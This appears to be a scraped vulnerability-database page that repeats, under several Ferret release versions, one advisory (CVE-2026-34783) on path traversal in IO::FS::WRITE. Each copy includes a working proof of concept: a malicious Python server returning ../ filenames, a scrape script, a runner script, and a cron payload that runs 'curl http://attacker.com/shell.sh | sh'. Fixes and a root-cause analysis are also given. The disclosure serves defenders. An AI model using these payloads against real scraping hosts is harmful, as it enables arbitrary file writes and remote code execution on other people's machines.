REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
FERRET="$REPO_ROOT/bin/ferret"

echo "=== Ferret Path Traversal PoC ==="
[ ! -f "$FERRET" ] && (cd "$REPO_ROOT" && go build -o ./bin/ferret ./test/e2e/cli.go)

rm -rf /tmp/ferret_output && rm -f /tmp/pwned.txt && mkdir -p /tmp/ferret_output

echo "[*] Running scrape script..."
"$FERRET" "$SCRIPT_DIR/scrape.fql" 2>/dev/null || true

if [ -f "/tmp/pwned.txt" ]; then
    echo "[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory"
    cat /tmp/pwned.txt
fi

Reproduction Steps

# Terminal 1: start malicious server
python3 poc/evil_server.py

# Terminal 2: build and run
go build -o ./bin/ferret ./test/e2e/cli.go
bash poc/run_poc.sh

# Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/
cat /tmp/pwned.txt

Observed Output

=== Ferret Path Traversal PoC ===

[*] Running innocent-looking scrape script...

[{"written":"/tmp/ferret_output/legit-article.txt","name":"legit-article"},
 {"written":"/tmp/ferret_output/../../tmp/pwned.txt","name":"../../tmp/pwned"}]

=== Results ===

[*] Files in intended output directory (/tmp/ferret_output/):
-rw-r--r--  1 user user  46 Mar 27 18:23 legit-article.txt

[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory!

    Contents:
    ATTACKER_CONTROLLED_CONTENT
    # * * * * * root curl http://attacker.com/shell.sh | sh

Suggested Fix

Option 1: Reject path traversal in `IO::FS::WRITE` and `IO::FS::READ`

Resolve the path and verify it doesn't contain .. after cleaning:

func safePath(userPath string) (string, error) {
    cleaned := filepath.Clean(userPath)
    if strings.Contains(cleaned, "..") {
        return "", fmt.Errorf("path traversal detected: %q", userPath)
    }
    return cleaned, nil
}

Option 2: Base directory enforcement (stronger)

Add an optional base directory that FS operations are jailed to:

func safePathWithBase(base, userPath string) (string, error) {
    absBase, _ := filepath.Abs(base)
    full := filepath.Join(absBase, filepath.Clean(userPath))
    resolved, err := filepath.EvalSymlinks(full)
    if err != nil {
        return "", err
    }
    if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {
        return "", fmt.Errorf("path %q escapes base directory %q", userPath, base)
    }
    return resolved, nil
}

Root Cause

IO::FS::WRITE in pkg/stdlib/io/fs/write.go passes user-supplied file paths directly to os.OpenFile with no sanitization:

file, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)

There is no:

Path canonicalization (filepath.Clean, filepath.Abs, filepath.EvalSymlinks)
Base directory enforcement (checking the resolved path stays within an intended directory)
Traversal sequence rejection (blocking .. components)
Symlink resolution

The same issue exists in IO::FS::READ (pkg/stdlib/io/fs/read.go):

data, err := os.ReadFile(path.String())

The PATH::CLEAN and PATH::JOIN standard library functions do not mitigate this because they use Go's path package (URL-style paths), not path/filepath, and even path.Join("/output", "../../etc/cron.d/evil") resolves to /etc/cron.d/evil -- it normalizes the traversal rather than blocking it.

References

Updated Jul 24, 2026 · Source: OSV.dev

Dec 09, 2021

v0.16.0 minor

1 CVE

CVE-2026-34783 GHSA-j6v5-g24h-vg4j GO-2026-5452 Apr 01, 2026

Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites

8.1 / 10

High

Network Low None Required Unchanged None High High

Summary

A path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.

Exploitation

The attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.

Attack Flow

The attacker serves a JSON API with crafted filenames containing ../ traversal:

[
  {"name": "legit-article", "content": "Normal content."},
  {"name": "../../etc/cron.d/evil", "content": "* * * * * root curl http://attacker.com/shell.sh | sh\n"}
]

The victim runs a standard scraping script:

LET response = IO::NET::HTTP::GET({url: "http://evil.com/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    IO::FS::WRITE(path, TO_BINARY(article.content))
    RETURN { written: path, name: article.name }

FQL string concatenation produces: /tmp/ferret_output/../../etc/cron.d/evil.txt
os.OpenFile resolves ../.. and writes to /etc/cron.d/evil.txt -- outside the intended output directory
The attacker achieves arbitrary file write with controlled content, leading to code execution.

Realistic Targets

| Target Path | Impact | |-------------|--------| | /etc/cron.d/<name> | Command execution via cron | | ~/.ssh/authorized_keys | SSH access to the machine | | ~/.bashrc or ~/.profile | Command execution on next login | | /var/www/html/<name>.php | Web shell | | Application config files | Credential theft, privilege escalation |

Proof of Concept

Files

Three files are provided in the poc/ directory:

evil_server.py -- Malicious web server returning traversal payloads:

"""Malicious server that returns filenames with path traversal."""
import json
from http.server import HTTPServer, BaseHTTPRequestHandler

class EvilHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/api/articles":
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.end_headers()
            payload = [
                {"name": "legit-article",
                 "content": "This is a normal article."},
                {"name": "../../tmp/pwned",
                 "content": "ATTACKER_CONTROLLED_CONTENT\n"
                            "# * * * * * root curl http://attacker.com/shell.sh | sh\n"},
            ]
            self.wfile.write(json.dumps(payload).encode())
        else:
            self.send_response(404)
            self.end_headers()

if __name__ == "__main__":
    server = HTTPServer(("0.0.0.0", 9444), EvilHandler)
    print("Listening on :9444")
    server.serve_forever()

scrape.fql -- Innocent-looking Ferret scraping script:

LET response = IO::NET::HTTP::GET({url: "http://127.0.0.1:9444/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    LET data = TO_BINARY(article.content)
    IO::FS::WRITE(path, data)
    RETURN { written: path, name: article.name }

run_poc.sh -- Orchestration script (expects the server to be running separately):

#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
FERRET="$REPO_ROOT/bin/ferret"

echo "=== Ferret Path Traversal PoC ==="
[ ! -f "$FERRET" ] && (cd "$REPO_ROOT" && go build -o ./bin/ferret ./test/e2e/cli.go)

rm -rf /tmp/ferret_output && rm -f /tmp/pwned.txt && mkdir -p /tmp/ferret_output

echo "[*] Running scrape script..."
"$FERRET" "$SCRIPT_DIR/scrape.fql" 2>/dev/null || true

if [ -f "/tmp/pwned.txt" ]; then
    echo "[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory"
    cat /tmp/pwned.txt
fi

Reproduction Steps

# Terminal 1: start malicious server
python3 poc/evil_server.py

# Terminal 2: build and run
go build -o ./bin/ferret ./test/e2e/cli.go
bash poc/run_poc.sh

# Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/
cat /tmp/pwned.txt

Observed Output

=== Ferret Path Traversal PoC ===

[*] Running innocent-looking scrape script...

[{"written":"/tmp/ferret_output/legit-article.txt","name":"legit-article"},
 {"written":"/tmp/ferret_output/../../tmp/pwned.txt","name":"../../tmp/pwned"}]

=== Results ===

[*] Files in intended output directory (/tmp/ferret_output/):
-rw-r--r--  1 user user  46 Mar 27 18:23 legit-article.txt

[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory!

    Contents:
    ATTACKER_CONTROLLED_CONTENT
    # * * * * * root curl http://attacker.com/shell.sh | sh

Suggested Fix

Option 1: Reject path traversal in `IO::FS::WRITE` and `IO::FS::READ`

Resolve the path and verify it doesn't contain .. after cleaning:

func safePath(userPath string) (string, error) {
    cleaned := filepath.Clean(userPath)
    if strings.Contains(cleaned, "..") {
        return "", fmt.Errorf("path traversal detected: %q", userPath)
    }
    return cleaned, nil
}

Option 2: Base directory enforcement (stronger)

Add an optional base directory that FS operations are jailed to:

func safePathWithBase(base, userPath string) (string, error) {
    absBase, _ := filepath.Abs(base)
    full := filepath.Join(absBase, filepath.Clean(userPath))
    resolved, err := filepath.EvalSymlinks(full)
    if err != nil {
        return "", err
    }
    if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {
        return "", fmt.Errorf("path %q escapes base directory %q", userPath, base)
    }
    return resolved, nil
}

Root Cause

IO::FS::WRITE in pkg/stdlib/io/fs/write.go passes user-supplied file paths directly to os.OpenFile with no sanitization:

file, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)

There is no:

Path canonicalization (filepath.Clean, filepath.Abs, filepath.EvalSymlinks)
Base directory enforcement (checking the resolved path stays within an intended directory)
Traversal sequence rejection (blocking .. components)
Symlink resolution

The same issue exists in IO::FS::READ (pkg/stdlib/io/fs/read.go):

data, err := os.ReadFile(path.String())

The PATH::CLEAN and PATH::JOIN standard library functions do not mitigate this because they use Go's path package (URL-style paths), not path/filepath, and even path.Join("/output", "../../etc/cron.d/evil") resolves to /etc/cron.d/evil -- it normalizes the traversal rather than blocking it.

References

Updated Jul 24, 2026 · Source: OSV.dev

Nov 22, 2021

v0.16.0-rc.7 pre

1 CVE

CVE-2026-34783 GHSA-j6v5-g24h-vg4j GO-2026-5452 Apr 01, 2026

Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites

8.1 / 10

High

Network Low None Required Unchanged None High High

Summary

A path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.

Exploitation

The attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.

Attack Flow

The attacker serves a JSON API with crafted filenames containing ../ traversal:

[
  {"name": "legit-article", "content": "Normal content."},
  {"name": "../../etc/cron.d/evil", "content": "* * * * * root curl http://attacker.com/shell.sh | sh\n"}
]

The victim runs a standard scraping script:

LET response = IO::NET::HTTP::GET({url: "http://evil.com/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    IO::FS::WRITE(path, TO_BINARY(article.content))
    RETURN { written: path, name: article.name }

FQL string concatenation produces: /tmp/ferret_output/../../etc/cron.d/evil.txt
os.OpenFile resolves ../.. and writes to /etc/cron.d/evil.txt -- outside the intended output directory
The attacker achieves arbitrary file write with controlled content, leading to code execution.

Realistic Targets

| Target Path | Impact | |-------------|--------| | /etc/cron.d/<name> | Command execution via cron | | ~/.ssh/authorized_keys | SSH access to the machine | | ~/.bashrc or ~/.profile | Command execution on next login | | /var/www/html/<name>.php | Web shell | | Application config files | Credential theft, privilege escalation |

Proof of Concept

Files

Three files are provided in the poc/ directory:

evil_server.py -- Malicious web server returning traversal payloads:

"""Malicious server that returns filenames with path traversal."""
import json
from http.server import HTTPServer, BaseHTTPRequestHandler

class EvilHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/api/articles":
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.end_headers()
            payload = [
                {"name": "legit-article",
                 "content": "This is a normal article."},
                {"name": "../../tmp/pwned",
                 "content": "ATTACKER_CONTROLLED_CONTENT\n"
                            "# * * * * * root curl http://attacker.com/shell.sh | sh\n"},
            ]
            self.wfile.write(json.dumps(payload).encode())
        else:
            self.send_response(404)
            self.end_headers()

if __name__ == "__main__":
    server = HTTPServer(("0.0.0.0", 9444), EvilHandler)
    print("Listening on :9444")
    server.serve_forever()

scrape.fql -- Innocent-looking Ferret scraping script:

LET response = IO::NET::HTTP::GET({url: "http://127.0.0.1:9444/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    LET data = TO_BINARY(article.content)
    IO::FS::WRITE(path, data)
    RETURN { written: path, name: article.name }

run_poc.sh -- Orchestration script (expects the server to be running separately):

#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
FERRET="$REPO_ROOT/bin/ferret"

echo "=== Ferret Path Traversal PoC ==="
[ ! -f "$FERRET" ] && (cd "$REPO_ROOT" && go build -o ./bin/ferret ./test/e2e/cli.go)

rm -rf /tmp/ferret_output && rm -f /tmp/pwned.txt && mkdir -p /tmp/ferret_output

echo "[*] Running scrape script..."
"$FERRET" "$SCRIPT_DIR/scrape.fql" 2>/dev/null || true

if [ -f "/tmp/pwned.txt" ]; then
    echo "[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory"
    cat /tmp/pwned.txt
fi

Reproduction Steps

# Terminal 1: start malicious server
python3 poc/evil_server.py

# Terminal 2: build and run
go build -o ./bin/ferret ./test/e2e/cli.go
bash poc/run_poc.sh

# Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/
cat /tmp/pwned.txt

Observed Output

=== Ferret Path Traversal PoC ===

[*] Running innocent-looking scrape script...

[{"written":"/tmp/ferret_output/legit-article.txt","name":"legit-article"},
 {"written":"/tmp/ferret_output/../../tmp/pwned.txt","name":"../../tmp/pwned"}]

=== Results ===

[*] Files in intended output directory (/tmp/ferret_output/):
-rw-r--r--  1 user user  46 Mar 27 18:23 legit-article.txt

[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory!

    Contents:
    ATTACKER_CONTROLLED_CONTENT
    # * * * * * root curl http://attacker.com/shell.sh | sh

Suggested Fix

Option 1: Reject path traversal in `IO::FS::WRITE` and `IO::FS::READ`

Resolve the path and verify it doesn't contain .. after cleaning:

func safePath(userPath string) (string, error) {
    cleaned := filepath.Clean(userPath)
    if strings.Contains(cleaned, "..") {
        return "", fmt.Errorf("path traversal detected: %q", userPath)
    }
    return cleaned, nil
}

Option 2: Base directory enforcement (stronger)

Add an optional base directory that FS operations are jailed to:

func safePathWithBase(base, userPath string) (string, error) {
    absBase, _ := filepath.Abs(base)
    full := filepath.Join(absBase, filepath.Clean(userPath))
    resolved, err := filepath.EvalSymlinks(full)
    if err != nil {
        return "", err
    }
    if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {
        return "", fmt.Errorf("path %q escapes base directory %q", userPath, base)
    }
    return resolved, nil
}

Root Cause

IO::FS::WRITE in pkg/stdlib/io/fs/write.go passes user-supplied file paths directly to os.OpenFile with no sanitization:

file, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)

There is no:

Path canonicalization (filepath.Clean, filepath.Abs, filepath.EvalSymlinks)
Base directory enforcement (checking the resolved path stays within an intended directory)
Traversal sequence rejection (blocking .. components)
Symlink resolution

The same issue exists in IO::FS::READ (pkg/stdlib/io/fs/read.go):

data, err := os.ReadFile(path.String())

The PATH::CLEAN and PATH::JOIN standard library functions do not mitigate this because they use Go's path package (URL-style paths), not path/filepath, and even path.Join("/output", "../../etc/cron.d/evil") resolves to /etc/cron.d/evil -- it normalizes the traversal rather than blocking it.

References

Updated Jul 24, 2026 · Source: OSV.dev

Oct 18, 2021

v0.16.0-rc.6 pre

1 CVE

CVE-2026-34783 GHSA-j6v5-g24h-vg4j GO-2026-5452 Apr 01, 2026

Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites

8.1 / 10

High

Network Low None Required Unchanged None High High

Summary

A path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.

Exploitation

The attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.

Attack Flow

The attacker serves a JSON API with crafted filenames containing ../ traversal:

[
  {"name": "legit-article", "content": "Normal content."},
  {"name": "../../etc/cron.d/evil", "content": "* * * * * root curl http://attacker.com/shell.sh | sh\n"}
]

The victim runs a standard scraping script:

LET response = IO::NET::HTTP::GET({url: "http://evil.com/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    IO::FS::WRITE(path, TO_BINARY(article.content))
    RETURN { written: path, name: article.name }

FQL string concatenation produces: /tmp/ferret_output/../../etc/cron.d/evil.txt
os.OpenFile resolves ../.. and writes to /etc/cron.d/evil.txt -- outside the intended output directory
The attacker achieves arbitrary file write with controlled content, leading to code execution.

Realistic Targets

| Target Path | Impact | |-------------|--------| | /etc/cron.d/<name> | Command execution via cron | | ~/.ssh/authorized_keys | SSH access to the machine | | ~/.bashrc or ~/.profile | Command execution on next login | | /var/www/html/<name>.php | Web shell | | Application config files | Credential theft, privilege escalation |

Proof of Concept

Files

Three files are provided in the poc/ directory:

evil_server.py -- Malicious web server returning traversal payloads:

"""Malicious server that returns filenames with path traversal."""
import json
from http.server import HTTPServer, BaseHTTPRequestHandler

class EvilHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/api/articles":
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.end_headers()
            payload = [
                {"name": "legit-article",
                 "content": "This is a normal article."},
                {"name": "../../tmp/pwned",
                 "content": "ATTACKER_CONTROLLED_CONTENT\n"
                            "# * * * * * root curl http://attacker.com/shell.sh | sh\n"},
            ]
            self.wfile.write(json.dumps(payload).encode())
        else:
            self.send_response(404)
            self.end_headers()

if __name__ == "__main__":
    server = HTTPServer(("0.0.0.0", 9444), EvilHandler)
    print("Listening on :9444")
    server.serve_forever()

scrape.fql -- Innocent-looking Ferret scraping script:

LET response = IO::NET::HTTP::GET({url: "http://127.0.0.1:9444/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    LET data = TO_BINARY(article.content)
    IO::FS::WRITE(path, data)
    RETURN { written: path, name: article.name }

run_poc.sh -- Orchestration script (expects the server to be running separately):

#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
FERRET="$REPO_ROOT/bin/ferret"

echo "=== Ferret Path Traversal PoC ==="
[ ! -f "$FERRET" ] && (cd "$REPO_ROOT" && go build -o ./bin/ferret ./test/e2e/cli.go)

rm -rf /tmp/ferret_output && rm -f /tmp/pwned.txt && mkdir -p /tmp/ferret_output

echo "[*] Running scrape script..."
"$FERRET" "$SCRIPT_DIR/scrape.fql" 2>/dev/null || true

if [ -f "/tmp/pwned.txt" ]; then
    echo "[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory"
    cat /tmp/pwned.txt
fi

Reproduction Steps

# Terminal 1: start malicious server
python3 poc/evil_server.py

# Terminal 2: build and run
go build -o ./bin/ferret ./test/e2e/cli.go
bash poc/run_poc.sh

# Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/
cat /tmp/pwned.txt

Observed Output

=== Ferret Path Traversal PoC ===

[*] Running innocent-looking scrape script...

[{"written":"/tmp/ferret_output/legit-article.txt","name":"legit-article"},
 {"written":"/tmp/ferret_output/../../tmp/pwned.txt","name":"../../tmp/pwned"}]

=== Results ===

[*] Files in intended output directory (/tmp/ferret_output/):
-rw-r--r--  1 user user  46 Mar 27 18:23 legit-article.txt

[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory!

    Contents:
    ATTACKER_CONTROLLED_CONTENT
    # * * * * * root curl http://attacker.com/shell.sh | sh

Suggested Fix

Option 1: Reject path traversal in `IO::FS::WRITE` and `IO::FS::READ`

Resolve the path and verify it doesn't contain .. after cleaning:

func safePath(userPath string) (string, error) {
    cleaned := filepath.Clean(userPath)
    if strings.Contains(cleaned, "..") {
        return "", fmt.Errorf("path traversal detected: %q", userPath)
    }
    return cleaned, nil
}

Option 2: Base directory enforcement (stronger)

Add an optional base directory that FS operations are jailed to:

func safePathWithBase(base, userPath string) (string, error) {
    absBase, _ := filepath.Abs(base)
    full := filepath.Join(absBase, filepath.Clean(userPath))
    resolved, err := filepath.EvalSymlinks(full)
    if err != nil {
        return "", err
    }
    if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {
        return "", fmt.Errorf("path %q escapes base directory %q", userPath, base)
    }
    return resolved, nil
}

Root Cause

IO::FS::WRITE in pkg/stdlib/io/fs/write.go passes user-supplied file paths directly to os.OpenFile with no sanitization:

file, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)

There is no:

Path canonicalization (filepath.Clean, filepath.Abs, filepath.EvalSymlinks)
Base directory enforcement (checking the resolved path stays within an intended directory)
Traversal sequence rejection (blocking .. components)
Symlink resolution

The same issue exists in IO::FS::READ (pkg/stdlib/io/fs/read.go):

data, err := os.ReadFile(path.String())

The PATH::CLEAN and PATH::JOIN standard library functions do not mitigate this because they use Go's path package (URL-style paths), not path/filepath, and even path.Join("/output", "../../etc/cron.d/evil") resolves to /etc/cron.d/evil -- it normalizes the traversal rather than blocking it.

References

Updated Jul 24, 2026 · Source: OSV.dev

Oct 16, 2021

v0.16.0-rc.5 pre

1 CVE

CVE-2026-34783 GHSA-j6v5-g24h-vg4j GO-2026-5452 Apr 01, 2026

Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites

8.1 / 10

High

Network Low None Required Unchanged None High High

Summary

A path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.

Exploitation

The attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.

Attack Flow

The attacker serves a JSON API with crafted filenames containing ../ traversal:

[
  {"name": "legit-article", "content": "Normal content."},
  {"name": "../../etc/cron.d/evil", "content": "* * * * * root curl http://attacker.com/shell.sh | sh\n"}
]

The victim runs a standard scraping script:

LET response = IO::NET::HTTP::GET({url: "http://evil.com/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    IO::FS::WRITE(path, TO_BINARY(article.content))
    RETURN { written: path, name: article.name }

FQL string concatenation produces: /tmp/ferret_output/../../etc/cron.d/evil.txt
os.OpenFile resolves ../.. and writes to /etc/cron.d/evil.txt -- outside the intended output directory
The attacker achieves arbitrary file write with controlled content, leading to code execution.

Realistic Targets

| Target Path | Impact | |-------------|--------| | /etc/cron.d/<name> | Command execution via cron | | ~/.ssh/authorized_keys | SSH access to the machine | | ~/.bashrc or ~/.profile | Command execution on next login | | /var/www/html/<name>.php | Web shell | | Application config files | Credential theft, privilege escalation |

Proof of Concept

Files

Three files are provided in the poc/ directory:

evil_server.py -- Malicious web server returning traversal payloads:

"""Malicious server that returns filenames with path traversal."""
import json
from http.server import HTTPServer, BaseHTTPRequestHandler

class EvilHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/api/articles":
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.end_headers()
            payload = [
                {"name": "legit-article",
                 "content": "This is a normal article."},
                {"name": "../../tmp/pwned",
                 "content": "ATTACKER_CONTROLLED_CONTENT\n"
                            "# * * * * * root curl http://attacker.com/shell.sh | sh\n"},
            ]
            self.wfile.write(json.dumps(payload).encode())
        else:
            self.send_response(404)
            self.end_headers()

if __name__ == "__main__":
    server = HTTPServer(("0.0.0.0", 9444), EvilHandler)
    print("Listening on :9444")
    server.serve_forever()

scrape.fql -- Innocent-looking Ferret scraping script:

LET response = IO::NET::HTTP::GET({url: "http://127.0.0.1:9444/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    LET data = TO_BINARY(article.content)
    IO::FS::WRITE(path, data)
    RETURN { written: path, name: article.name }

run_poc.sh -- Orchestration script (expects the server to be running separately):

#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
FERRET="$REPO_ROOT/bin/ferret"

echo "=== Ferret Path Traversal PoC ==="
[ ! -f "$FERRET" ] && (cd "$REPO_ROOT" && go build -o ./bin/ferret ./test/e2e/cli.go)

rm -rf /tmp/ferret_output && rm -f /tmp/pwned.txt && mkdir -p /tmp/ferret_output

echo "[*] Running scrape script..."
"$FERRET" "$SCRIPT_DIR/scrape.fql" 2>/dev/null || true

if [ -f "/tmp/pwned.txt" ]; then
    echo "[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory"
    cat /tmp/pwned.txt
fi

Reproduction Steps

# Terminal 1: start malicious server
python3 poc/evil_server.py

# Terminal 2: build and run
go build -o ./bin/ferret ./test/e2e/cli.go
bash poc/run_poc.sh

# Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/
cat /tmp/pwned.txt

Observed Output

=== Ferret Path Traversal PoC ===

[*] Running innocent-looking scrape script...

[{"written":"/tmp/ferret_output/legit-article.txt","name":"legit-article"},
 {"written":"/tmp/ferret_output/../../tmp/pwned.txt","name":"../../tmp/pwned"}]

=== Results ===

[*] Files in intended output directory (/tmp/ferret_output/):
-rw-r--r--  1 user user  46 Mar 27 18:23 legit-article.txt

[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory!

    Contents:
    ATTACKER_CONTROLLED_CONTENT
    # * * * * * root curl http://attacker.com/shell.sh | sh

Suggested Fix

Option 1: Reject path traversal in `IO::FS::WRITE` and `IO::FS::READ`

Resolve the path and verify it doesn't contain .. after cleaning:

func safePath(userPath string) (string, error) {
    cleaned := filepath.Clean(userPath)
    if strings.Contains(cleaned, "..") {
        return "", fmt.Errorf("path traversal detected: %q", userPath)
    }
    return cleaned, nil
}

Option 2: Base directory enforcement (stronger)

Add an optional base directory that FS operations are jailed to:

func safePathWithBase(base, userPath string) (string, error) {
    absBase, _ := filepath.Abs(base)
    full := filepath.Join(absBase, filepath.Clean(userPath))
    resolved, err := filepath.EvalSymlinks(full)
    if err != nil {
        return "", err
    }
    if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {
        return "", fmt.Errorf("path %q escapes base directory %q", userPath, base)
    }
    return resolved, nil
}

Root Cause

IO::FS::WRITE in pkg/stdlib/io/fs/write.go passes user-supplied file paths directly to os.OpenFile with no sanitization:

file, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)

There is no:

Path canonicalization (filepath.Clean, filepath.Abs, filepath.EvalSymlinks)
Base directory enforcement (checking the resolved path stays within an intended directory)
Traversal sequence rejection (blocking .. components)
Symlink resolution

The same issue exists in IO::FS::READ (pkg/stdlib/io/fs/read.go):

data, err := os.ReadFile(path.String())

The PATH::CLEAN and PATH::JOIN standard library functions do not mitigate this because they use Go's path package (URL-style paths), not path/filepath, and even path.Join("/output", "../../etc/cron.d/evil") resolves to /etc/cron.d/evil -- it normalizes the traversal rather than blocking it.

References

Updated Jul 24, 2026 · Source: OSV.dev

Sep 20, 2021

v0.16.0-rc.4 pre

1 CVE

CVE-2026-34783 GHSA-j6v5-g24h-vg4j GO-2026-5452 Apr 01, 2026

Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites

8.1 / 10

High

Network Low None Required Unchanged None High High

Summary

A path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.

Exploitation

The attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.

Attack Flow

The attacker serves a JSON API with crafted filenames containing ../ traversal:

[
  {"name": "legit-article", "content": "Normal content."},
  {"name": "../../etc/cron.d/evil", "content": "* * * * * root curl http://attacker.com/shell.sh | sh\n"}
]

The victim runs a standard scraping script:

LET response = IO::NET::HTTP::GET({url: "http://evil.com/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    IO::FS::WRITE(path, TO_BINARY(article.content))
    RETURN { written: path, name: article.name }

FQL string concatenation produces: /tmp/ferret_output/../../etc/cron.d/evil.txt
os.OpenFile resolves ../.. and writes to /etc/cron.d/evil.txt -- outside the intended output directory
The attacker achieves arbitrary file write with controlled content, leading to code execution.

Realistic Targets

| Target Path | Impact | |-------------|--------| | /etc/cron.d/<name> | Command execution via cron | | ~/.ssh/authorized_keys | SSH access to the machine | | ~/.bashrc or ~/.profile | Command execution on next login | | /var/www/html/<name>.php | Web shell | | Application config files | Credential theft, privilege escalation |

Proof of Concept

Files

Three files are provided in the poc/ directory:

evil_server.py -- Malicious web server returning traversal payloads:

"""Malicious server that returns filenames with path traversal."""
import json
from http.server import HTTPServer, BaseHTTPRequestHandler

class EvilHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/api/articles":
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.end_headers()
